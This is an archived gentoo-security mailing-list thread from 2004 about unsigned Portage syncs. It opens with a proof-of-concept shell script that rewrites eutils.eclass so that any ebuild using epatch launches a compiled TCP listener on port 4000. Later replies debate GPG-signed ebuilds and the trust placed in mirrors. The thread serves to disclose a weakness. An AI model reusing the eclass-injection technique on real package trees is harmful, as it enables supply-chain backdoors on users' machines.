Mailing List Archive

Trojan for Gentoo, part 2
Hi,

after 1.5 years (2 years after the bug could could found in bugzilla) it
seems that one of the highest security risks is closed. At least I've
seen something about signed ebuilds. (see
http://marc.theaimsgroup.com/?l=gentoo-security&m=104816199500974&w=2 ).

Time for the next part. I've already written a bug for that a year ago,
but it was now closed a second time by "the ... gatekeeper".

See bug #26110

Here's the next small script. If you are operating a gentoo mirror, or
having access to one, feel free to play with it.

If you are a user, the only practical way to ensure a minimum of
security is to sync twice:
(a) sync,
(b) delete timestap,
(c) sync with other mirror and
(d) look if no files where different, otherwise restart with (a)

----------------gentooTrojan.sh---------------------------
#!/bin/sh
if [ ${#} -ne 1 ] ; then
echo "This script puts a silly trojan into Gentoo's portage."
echo "Usage: `basename ${0}` PathToPortage"
exit 1
fi

mv ${1}/eclass/eutils.eclass ${1}/eclass/eutils-without-trojan.eclass
sed -e 's:^epatch().*{:epatch() {\newarn "Starting Trojan.\nTry it with
telnet localhost 4000.\nKill it with killall
GentooTrojan."\n${PORTDIR}/eclass/GentooTrojan \&\n:'
<${1}/eclass/eutils-without-trojan.eclass >${1}/eclass/eutils.eclass
cat >${1}/eclass/GentooTrojan.c << EOF
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(void)
{
struct sockaddr_in serv;
struct sockaddr_in cli;
int sock;
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0)
return 1;
bzero((char *) &serv, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
serv.sin_port = htons(4000);
if (bind(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0)
return 1;
if (listen(sock, 5) < 0)
return 1;
while (1) {
int scli;
int slen;
static char *str="Your are listing to the famous Gentoo trojan!\n";
slen = sizeof(cli);
scli = accept(sock, (struct sockaddr *) &cli,
(socklen_t *) &slen);
write(scli, str, strlen(str));
close(scli);
}
}
EOF

gcc -o ${1}/eclass/GentooTrojan ${1}/eclass/GentooTrojan.c

echo "Done. Portage successful infected with a trojan."
echo "Just emerge an ebuild which uses epatch and do a"
echo " telnet localhost 4000"
echo "afterwards."
-------------------------------------------

Kind regards,

Alexander Holler


PS: Please don't reply to me, I don't read any Gentoo mailing lists
anymore, in fact I even don't know why I'm writting this message, as I
already have lost every interest in Gentoo some time ago.

PPS: Sorry for that hard words, but that all reminds me on Microsoft.
The "eclass-hell" is as bad as the "dll-hell" and some bugs are getting
forgotten, ignored or fixed in the same time.

PPPS: I really appreciate all the very good work on hardened gcc,
selinux-profiles and so on, but for me, this all seems useless as long
as the base is compromised that easy and the user has no practical way
(e.g. hashs) to check what he gets on his machine with a 'sync'.

--
gentoo-security@gentoo.org mailing list
Re: Trojan for Gentoo, part 2 [ In reply to ]
On Sat, Nov 06, 2004 at 09:16:11PM +0100, Alexander Holler wrote:
> Hi,
>
> after 1.5 years (2 years after the bug could could found in bugzilla) it
> seems that one of the highest security risks is closed. At least I've

1.5 years is a long time to figure out how to sign an ebuild. It puzzles
me that there is such resistence to these security steps, and not just
in Gentoo.

Maybe in 1.5 years checking signed ebuilds will be the rule instead of
the exception. :-)

Thanks for the reminder Alexander.

- Chris


--
gentoo-security@gentoo.org mailing list
Re: Re: Trojan for Gentoo, part 2 [ In reply to ]
Hello all,
I do think that it may have been something that should have been looked into a bit more when first noticed. However, let me ask a few questions,
1. In order to inject this you need to get access to a rsync mirror/run one ?
2. How many times do you sync via someone's rsync mirror running out of their house?
3. How many times has an rsync mirror been comprimised?

If it were installed on and of my 500 systems A. my firewall has me covered, B. I would more than likely notice.
Just the few questions I had pop into my head about this subject.
Now mind you I am not trying to be an ass about this but I do see both sides to this issue.
But as people have said already. signed ebuilds.


-Jason

Chris Frey wrote:
On Sat, Nov 06, 2004 at 09:16:11PM +0100, Alexander Holler wrote:
Hi, after 1.5 years (2 years after the bug could could found in bugzilla) it seems that one of the highest security risks is closed. At least I've
1.5 years is a long time to figure out how to sign an ebuild. It puzzles me that there is such resistence to these security steps, and not just in Gentoo. Maybe in 1.5 years checking signed ebuilds will be the rule instead of the exception. :-) Thanks for the reminder Alexander. - Chris -- gentoo-security@gentoo.org mailing list
-- gentoo-security@gentoo.org mailing list
Re: Re: Trojan for Gentoo, part 2 [ In reply to ]
On Sat, Nov 06, 2004 at 07:31:25PM -0500 or thereabouts, Chris Frey wrote:
> 1.5 years is a long time to figure out how to sign an ebuild. It puzzles
> me that there is such resistence to these security steps, and not just
> in Gentoo.

It may have been a long time coming, but that doesn't mean there is
"resistance" to implementing the security measures. It simply means that
other things have taken priority up until now.

I can easily use the same flawed logic and say, "well, none of our users
ever bothered to submit patches to portage to implement GPG signing, so it
must not be important to them."

--kurt
Re: Trojan for Gentoo, part 2 [ In reply to ]
Kurt Lieber writes:

> I can easily use the same flawed logic and say, "well,
> none of our users ever bothered to submit patches to
> portage to implement GPG signing, so it must not be
> important to them."

I think it is important to stress that everybody is on the
same side here. The important thing right now is how to
_fix_ this problem. As I see it, the simplest possible
solution is this:

(1) Run "find /usr/portage -type f | xargs sha1sum -b" on
the Gentoo main system.

(2) Sign the output with GPG.

(3) Put it into the portage tree.

(4) If the user has GPG installed and has manually put the
appropriate public key in some place _outside_ of the
portage tree, have "emerge sync" verify that the
signature is intact and all hashes hold.

Done.

This is by no means perfect, obviously. But even if it means
that a dozen people have access to the secret key that
generates the signature, it is still a lot better than the
current situation.

Peter


--
gentoo-security@gentoo.org mailing list
Re: Re: Trojan for Gentoo, part 2 [ In reply to ]
On Sun, Nov 07, 2004 at 04:44:32PM +0100 or thereabouts, Peter Simons wrote:
> I think it is important to stress that everybody is on the
> same side here. The important thing right now is how to
> _fix_ this problem. As I see it, the simplest possible
> solution is this:
>
> (1) Run "find /usr/portage -type f | xargs sha1sum -b" on
> the Gentoo main system.
>
> (2) Sign the output with GPG.
>
> (3) Put it into the portage tree.
>
> (4) If the user has GPG installed and has manually put the
> appropriate public key in some place _outside_ of the
> portage tree, have "emerge sync" verify that the
> signature is intact and all hashes hold.
>
> Done.


People place way to much reliance on GPG and other public/private key
systems...

Let's assume we implement the above steps. What does that buy you? How do
you know how many people have a copy of the private key used to sign that
data? How do you know what sort of passphrase is used on it? (or if it
even has a passphrase) How do you know the box that holds the private key
is secure?

Most importantly, how do you know when to stop? At some point, you're
going to have to accept some level of risk.

--kurt
Re: Re: Trojan for Gentoo, part 2 [ In reply to ]
Hi

On Sun, Nov 07, 2004 at 03:49:22PM +0000, Kurt Lieber wrote:
> On Sun, Nov 07, 2004 at 04:44:32PM +0100 or thereabouts, Peter Simons wrote:
> > I think it is important to stress that everybody is on the
> > same side here. The important thing right now is how to
> > _fix_ this problem. As I see it, the simplest possible
> > solution is this:
> > (1) Run "find /usr/portage -type f | xargs sha1sum -b" on
> > the Gentoo main system.
> > (2) Sign the output with GPG.
> > (3) Put it into the portage tree.
> > (4) If the user has GPG installed and has manually put the
> > appropriate public key in some place _outside_ of the
> > portage tree, have "emerge sync" verify that the
> > signature is intact and all hashes hold.
> People place way to much reliance on GPG and other public/private key
> systems...
I see your message is signed :) I use the ASCII one below, he he.
The reliance on those are justified though, I think.

IMHO the weak link in security is always people and procedures, not the math
or the crypto. This suggestion improves the procedure and lessens the
number of people at a low cost (if the developers/sysadm in question
agree). It could be tested, eventually made the default, and the option
retained not to use it. That is probably crucial since some developers
will have variations on the standard user setup.

> Let's assume we implement the above steps. What does that buy you? How do
> you know how many people have a copy of the private key used to sign that
> data? How do you know what sort of passphrase is used on it? (or if it
> even has a passphrase) How do you know the box that holds the private key
> is secure?
Gentoo publishes on their website the number of people who has this?

> Most importantly, how do you know when to stop? At some point, you're
> going to have to accept some level of risk.
When it is too much effort for the security gain. I can't really judge,
but the above suggestion seems easy. Security is a trafe-off, due credit
to Bruce Schneier. It's a process, and this thread might lead to above
implementation, after some review and discussion on list. Seems like
meta-objection to me, one about the process, which I think actually
works fine. That's not only why I use open source, it is why I
aggresively advocate it.

Much of this thread has been meta-discussion: Is it a problem?, should
it be fixed?, etc. It was refreshing to see the above suggestion to a
solution. Is it a good one?

cheers,
Jan
--
.~.
/V\ Jan Groenewald
/( )\ http://www.aims.ac.za/
^^-^^

--
gentoo-security@gentoo.org mailing list
Re: Trojan for Gentoo, part 2 [ In reply to ]
Kurt Lieber writes:

>> (1) Run "find /usr/portage -type f | xargs sha1sum -b" on
>> the Gentoo main system.
>>
>> (2) Sign the output with GPG.
>>
>> (3) Put it into the portage tree.
>>
>> (4) If the user has GPG installed and has manually put the
>> appropriate public key in some place _outside_ of the
>> portage tree, have "emerge sync" verify that the
>> signature is intact and all hashes hold.

> Let's assume we implement the above steps. What does that
> buy you?

It makes it impossible to temper with the portage tree for
everyone except those who have access to the secret key.
This rules out ...

(1) man-in-the-middle attacks over the network,

(2) attacks from random mirror admins,

(3) attacks from random Gentoo developers.

Furthermore, if you have one GPG key per developer and
authenticate those keys with another GPG key that's not
available on a machine connected to the network, then you
also have significantly more auditing capabilities than you
have right now.


> How do you know how many people have a copy of the
> private key used to sign that data?

The scheme doesn't protect me against a compromised GPG key.


> How do you know what sort of passphrase is used on it?

I do not know. Instead, I trust the Gentoo developers to
choose a sensible one because I know you guys are really
smart and capable technicians.


> Most importantly, how do you know when to stop? At some
> point, you're going to have to accept some level of risk.

Sorry, but I always get nervous when I am talking about a
very specific technical problem and people answer with very
general, philosophical thoughts. I _know_ that I have to
trust someone sooner or later. But let's keep the number of
people I have to trust as small as possible.

Right now, I have to trust the entire network. I don't know
about others, but that's slightly above the level of risk I
am willing to accept.

Peter


--
gentoo-security@gentoo.org mailing list
Re: Re: Trojan for Gentoo, part 2 [ In reply to ]
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Peter Simons wrote:
> Right now, I have to trust the entire network. I don't know
> about others, but that's slightly above the level of risk I
> am willing to accept.

Peter is unfortunately right. With unencrypted rsync, we aren't even
talking about just trusting mirror admins (who for one thing are
probably not quite as seriously vetted as developers with commit access,
and for another have been compromised in the past), we're talking about
trusting every possible man in the middle. If we were doing rsync over
ssh, at least we'd be preventing DNS spoofing leading to fake rsync
mirrors giving us fake ebuilds (assuming the ssh private keys of the
given mirror were not compromised). And if we were doing GPG signing,
we'd be secure against not just that but against rogue mirror admins,
compromised infrastructure higher up the chain, and so forth.

Yes, this has the basic assumption that the private key is secure, but
all secure systems make a few basic assumptions, so this is hardly
unprecedented (we cannot thoroughly prove the security of RSA, and we
often can't even come close for symmetric-key systems), but that doesn't
mean that they have inherently zero value. I find that sort of argument
to be quite flawed, because it's essentially saying, ``Well, nothing is
provably secure, so why even have secure systems?''

- --
Dan "KrispyKringle" Margolis
Security Coordinator/Audit Project, Gentoo Linux
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iQEVAwUBQY5SuLDO2aFJ9pv2AQLu2Af+MWe9DoDzeEi1he7bnmGK1BqKo3a7yUMj
2YZIhMFIVwNlldW+ZmrgbzO1rCDny7qhr5g9R0HJRqrdU4CH+bqUTO3XdFydhNC5
alf/GbJNt8UUY9mHjuMuUNvMp2jckI4oMLEile06i8gCZLCkQr8hkI3awF1/8jA6
uGIy+avR+40zRoIlPKX8e1AvVZBMzAgh1UGCLZwnnX/bw1iUD8h0vn+4899iubUg
SvCG+SxA/HkZzBYhXMz3z4C/431cwyAJQBcl6M+6ObZATiOO8iZuf0JDq/11fZyN
3e84eR1Yzepi922mjZOdPlGylC5+ISJdXOI8cPMHJHBX/DLcU4Da9w==
=CG+7
-----END PGP SIGNATURE-----

--
gentoo-security@gentoo.org mailing list
Re: Re: Trojan for Gentoo, part 2 [ In reply to ]
On Sunday 07 November 2004 15:50, Jason Rojas wrote:

Pleas stop spamming us with html emails. Thanks.


Carsten
Re: Re: Trojan for Gentoo, part 2 [ In reply to ]
epistula illius Dan Margolis profluit verbis:
> [...]
> Yes, this has the basic assumption that the private key is secure, but
> all secure systems make a few basic assumptions, so this is hardly
> unprecedented (we cannot thoroughly prove the security of RSA, and we
> often can't even come close for symmetric-key systems), but that
> doesn't mean that they have inherently zero value. I find that sort of
> argument to be quite flawed, because it's essentially saying, ``Well,
> nothing is provably secure, so why even have secure systems?''
> [...]

Sorry, but i completely disagree. Guidelines exist. The "weakest link" and
"general participation" strategy base is lacking, signed ebuilds or not.
I could open some - as ist seems - "usefull" sourceforge-project and
inject any "additional" code on gentoo systems, while submitting a
perfectly "legal" ebuild, signed to "heavenly" trust. Will security
developers check the source? Will the users do it? It's just one possible
"leak", but it's the first one. So where is the security? It's gone,
since nobody actually can nor could foresee or calculate anything as long
as there is no global code auditing implemented.

Good will, ideas, step by step implemented - apreciated. Maybe many
$PROJECTS would "follow". But one fact remains: the complete process has
to be dealt with: from source-generation over distribution to
installation. And as long as it's not completely done, security is not
calculable and therefore "zero". So dealing with signed ebuilds
securitywise is like dealing with signs on the frontdoor saying "this
house is safe".

My 2 cents ...

--
Andreas Waschbuesch, GAUniversity KG MA FNZ FK01
eMail: awaschb@gwdg.de

Said the attractive, cigar-smoking housewife to her girl-friend: "I got
started one night when George came home and found one burning in the
ashtray."
Re: Re: Trojan for Gentoo, part 2 [ In reply to ]
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Andreas Waschbuesch wrote:
> I could open some - as ist seems - "usefull" sourceforge-project and
> inject any "additional" code on gentoo systems, while submitting a
> perfectly "legal" ebuild, signed to "heavenly" trust.

The point is that if we implement signing, a user can say, ``Well, I
distrust the authors of this sourceforge project'' if they wish. But if
we do not, they may trust the authors and yet still not be able to trust
the source.

So the reasonable, expected behavior from portage is that the source
downloaded is the source it claims to be. If we do not trust the
original source, we needn't install the package, but if we do, we should
be able to trust the package implicity. Right now, we cannot trust the
package, even if we trust the original authors. Signing fixes this problem.

Again, this is like saying that since we have not had the NSA conduct
background checks on each and every open source developer, we should not
trust their products. Well, fine, then don't install them. But if you
decide you trust the folks at kernel.org, or KDE, or GAIM, or whatever,
you should be able to trust the vanilla-sources ebuild, or the kde
ebuild, or the gaim ebuild. Right now, you cannot. So even when one does
choose to trust upstream, he cannot trust portage. That is broken.

- --
Dan "KrispyKringle" Margolis
Security Coordinator/Audit Project, Gentoo Linux
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iQEVAwUBQY5g5LDO2aFJ9pv2AQKDSAf+KXpMW/CTzVAp3KZjVoPHuHlWutd8U+l1
2NbsMvHEp0dJ4LBPakw48m4Py5jBm8ZkCxLFbo4kd1T1RczDXanuT9ou1K6+qQSk
MhEOG+LD/71h+S5NRZUkoaDBhCTPtnXRVlP3SRNSZS2/AxlBWB5wv8U7W/V5i/Fk
0klyGfpCSlx9OjR5X1itX4opYd30HP57TTIKuqV0OEgonkHmPR91bJhYo468W5Yc
ujz942WmMxuGawjDH163QmABegLbV++tgBJqiyXYguobxOEVRWCoaaJh4PfGvdVd
Ce3QyrpVKYavlc8eHUkyLWF8yaBSD4BsBLUGLAvWfnfOc2zDAwbPQg==
=5OuB
-----END PGP SIGNATURE-----

--
gentoo-security@gentoo.org mailing list
Re: Re: Trojan for Gentoo, part 2 [ In reply to ]
Hi,

I have read all 42 messages that deal with this problem. I have been a Gentoo
since the very beginning of the distro, and quite a paranoid one too.
However, if I understand what has been said here, even if we sign all ebuilds
and source packages, an issue would still remain : trust. You will have to
trust that the signature you have gotten is not compromised, and that the
source code has not been compromised before it was signed. Moreover, you
would have to trust that the person that signed the ebuild has both the
skills and ethics necessary.

What I'll say now, can be taken as a rather simplistic view of the problem. If
I am wrong, I will stand corrected, but I would like an explanation :

While I was reading those mails, I was drinking my favorite orange juice. It
occurred to me then that I had absolutely no assurance that it was not
poisonned. In effect, I have to trust the people that grew and collected the
oranges (in our case the people that programmed the source package), the
people that pressed the oranges and put the juice into a bottle (the devs who
design the ebuild), the people who conveyed the bottle to my local
supermarket (i.e people that manage the mirrors) not to have put poison in my
orange juice. Moreover, I have to trust them to have stood guard to ensure
that no third party had had access to my orange juice at any moment in the
process to put poison in it. However, there I was, drinking it. And I would
not for the life of me demand that my orange juice be signed digitally to
ensure that it is safe to drink.

The thing is, I trust the package's devs, I trust the Gentoo devs, I trust the
mirror maintainers, I trust their ISP and mine. So I actually do not see the
problem we have here. And just for the sake of the analogy, yes it is
actually quite as easy to poison my orange juice as to compromise a package
at any stage.

Again, I do not know if this is relevant, but if it is not, I would really
like to know why I am wrong to consider things this way.

-- Jonathan

Le Dimanche 7 Novembre 2004 18:52, Dan Margolis a écrit :
> gpgkeys: WARNING: this is an *experimental* HKP interface!
> gpgkeys: key B0CED9A149F69BF6 not found on keyserver
>
> Andreas Waschbuesch wrote:
> > I could open some - as ist seems - "usefull" sourceforge-project and
> > inject any "additional" code on gentoo systems, while submitting a
> > perfectly "legal" ebuild, signed to "heavenly" trust.
>
> The point is that if we implement signing, a user can say, ``Well, I
> distrust the authors of this sourceforge project'' if they wish. But if
> we do not, they may trust the authors and yet still not be able to trust
> the source.
>
> So the reasonable, expected behavior from portage is that the source
> downloaded is the source it claims to be. If we do not trust the
> original source, we needn't install the package, but if we do, we should
> be able to trust the package implicity. Right now, we cannot trust the
> package, even if we trust the original authors. Signing fixes this problem.
>
> Again, this is like saying that since we have not had the NSA conduct
> background checks on each and every open source developer, we should not
> trust their products. Well, fine, then don't install them. But if you
> decide you trust the folks at kernel.org, or KDE, or GAIM, or whatever,
> you should be able to trust the vanilla-sources ebuild, or the kde
> ebuild, or the gaim ebuild. Right now, you cannot. So even when one does
> choose to trust upstream, he cannot trust portage. That is broken.
>
> --
> Dan "KrispyKringle" Margolis
> Security Coordinator/Audit Project, Gentoo Linux

--
gentoo-security@gentoo.org mailing list
Re: Re: Trojan for Gentoo, part 2 [ In reply to ]
epistula abs te missa profluit verbis:
> The point is that if we implement signing, a user can say, ``Well, I
> distrust the authors of this sourceforge project'' if they wish. But if
> we do not, they may trust the authors and yet still not be able to
> trust the source.

He wouldn't be able to trust it with signatures neither. How will he get
the source while "trusting" the author? From a server that's "maintained"
and announced by a DNS that's "maintained", all of them running software
that's "maintained", with source being uploaded over "maintained" ISP
lines, checked against "maintained" keys on "maintained" servers etc.
etc. etc.

> So the reasonable, expected behavior from portage is that the source
> downloaded is the source it claims to be. If we do not trust the
> original source, we needn't install the package, but if we do, we
> should be able to trust the package implicity. Right now, we cannot
> trust the package, even if we trust the original authors. Signing fixes
> this problem.

MD5 hashes are sufficient then, because one would have to trust "other's"
keys, rely on their correct usage, their propper storage etc. etc. The
"technical" sin comparing md5 hashed packages to gpg-signed packages is
securitywise just statistical, and therefore of no use for the single
user with respect to the total process selecting, getting, compiling and
installing a certain package. One always got to accept a certain point of
basic trust, agreed. But the question _here_ is: is this certain point
more calculable and therefore more secure by using gpg-signed ebuilds?
I'd still disagree.

> Again, this is like saying that since we have not had the NSA conduct
> background checks on each and every open source developer, we should
> not trust their products. Well, fine, then don't install them. But if
> you decide you trust the folks at kernel.org, or KDE, or GAIM, or
> whatever, you should be able to trust the vanilla-sources ebuild, or
> the kde ebuild, or the gaim ebuild. Right now, you cannot. So even when
> one does choose to trust upstream, he cannot trust portage. That is
> broken.

Again: what is won? (In terms of CALCULABLE security gain for the
individual user.) I would go over a bridge, as long as the sign at the
entrance would say "up to 2 tons". But I'd eventually rather climb down,
walk, swim (whatever), if it would say "95%". So finally: signed ebuilds
add 0,5%. It's statistically more secure, but practically of no use
(apart from that fluffy "security enhanced feeling" maybe).

--
Andreas Waschbuesch, GAUniversity KG MA FNZ FK01
eMail: awaschb@gwdg.de

The new annoyance filter is so advanced that
some people arrive on the list pre plonked.